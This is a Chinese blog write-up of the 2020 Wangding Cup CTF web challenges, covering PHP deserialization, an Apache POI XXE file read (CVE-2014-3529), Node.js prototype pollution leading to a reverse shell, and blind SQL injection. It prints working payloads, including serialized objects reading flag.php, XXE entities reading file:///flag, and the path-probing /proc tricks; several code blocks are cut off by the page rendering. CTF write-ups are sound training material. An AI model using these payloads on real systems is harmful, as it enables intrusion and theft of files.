2020网鼎杯Web复盘
摘要:本届网鼎杯复盘。
0x01写在前面
10号和学校的fjh1997师傅、L1ngFeng师傅还有Qfrost师傅一起参加了本届网鼎杯,差一道题晋级,遗憾的是这题的答案在比赛刚过一分钟就跑出来了。所以说实话比赛完大家心情都挺失落的,因此拖到现在复盘。现在缓过来了,看见BUUOJ上正好有三道题,那还是复盘一下吧。
0x02正文
AreUSerialz
- 考点一:简单PHP反序列化
- 考点二:php特性:php7.1以上对属性类型不敏感
进来直接给源码,为简单的php反序列化.
1 |
|
很明显,属性为protected,反序列化后存在%00字符。因此需要绕过is_valid函数,
1 | function is_valid($s) { |
poc:
1 |
|
解法一:
is_valid函数只允许ascii编码32-125的字符。其实很好绕,直接序列化的时候将protected改为public就行了。
这里需要注意的是需要使用绝对路径,程序运行的绝对路径可以使用/proc/self/cmdline得到。
1 | O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:62:"php://filter/convert.base64-encode/resource=/web/html/flag.php";s:7:"content";s:12:"Hello World!";} |
解法二:
队内imagin师傅的方法,通过构造不完整的反序列化字符串,提前执行__destruct函数,就可以直接使用相对路径来读取flag.php了。
1 | O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:62:"php://filter/convert.base64-encode/resource=/web/html/flag.php";s:7:"content";s:12:"Hello World!"; |
javafile
- 考点:CVE-2014-3529
可以尝试跨目录下载,可以通过以下方式得到我们想要的目录信息。摘自imagin师傅 的博客。
proc 是个好东西,总结下经常会用到的文件:
1.maps 记录一些调用的扩展或者自定义 so 文件
2.environ 环境变量
3.comm 当前进程运行的程序
4.cmdline 程序运行的绝对路径
5.cpuset docker 环境可以看 machine ID
6.cgroup docker环境下全是 machine ID 不太常用
至于CVE-2014-3529可以参看这篇博客:Apache-Poi-XXE-Analysis
根据上面的tips,可以通过读取/proc/self/cmdline得到程序运行的绝对地址。
易得tomcat下的web.xml的文件路径为
1 | /usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml |
直接读取:
``` xml
<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/DownloadServlet</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>ListFileServlet</servlet-name>
<servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ListFileServlet</servlet-name>
<url-pattern>/ListFileServlet</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>UploadServlet</servlet-name>
<servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>UploadServlet</servlet-name>
<url-pattern>/UploadServlet</url-pattern>
</servlet-mapping>
1 | 得到三个类的路径,直接读取。审计发现标志性的Apache POI漏洞: |
1 | upzip ./excel-5.xlsx |
1 | <!DOCTYPE convert [ |
1 | zip -r excel-5.xlsx * |
1 | <!ENTITY % file SYSTEM "file:///flag"> |
1 | GET /?p=flag{611528b5-ae6d-4660-a625-406a4b966f49} HTTP/1.1 |
得到源码:
1 | var express = require('express'); |
比赛的时候看到node.js第一反应就是原型链污染,当时搜了下,发现undefsafe确实存在原型链污染的问题,参考这篇文章Prototype Pollution。 但当时时间不够了,有点手忙脚乱的,代码也没有审计完,事后看发现其实这题特别弱智。唉。
看到/status明显有一个命令执行,commands是一个对象,那么显然,直接污染object的proto就行了。
利用点在/edit_note上
1 | app.route('/edit_note') |
这里post传参,id、author、raw都可控。notelist刚好是个对象,所以直接给id赋参proto.hn13、给author赋参一条反弹shell指令、raw随便赋值。
传参过去后,访问/status路由即可反弹shell。
trace
- 考点一:时间+报错盲注
- 考点二:无列名注入
差这题进决赛,可惜了。BUU没有复现,贴脚本吧
1 | import time |
0x03 总结
事后复盘发现其实这次的web是很简单的,知识点以前都积累过,可惜时间太赶不然除了trace这道注入题没什么底感觉都可以做出来。唉,差一点入围可惜了。还是好好加油,为后面的比赛做准备吧。
- 本文标题:2020网鼎杯Web复盘
- 本文作者:Hn13
- 本文链接:https://www.hn13.top/2020/05/13/2020网鼎杯Web复盘/>
- 发布时间:2020-05-13
- 版权声明:本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明出处!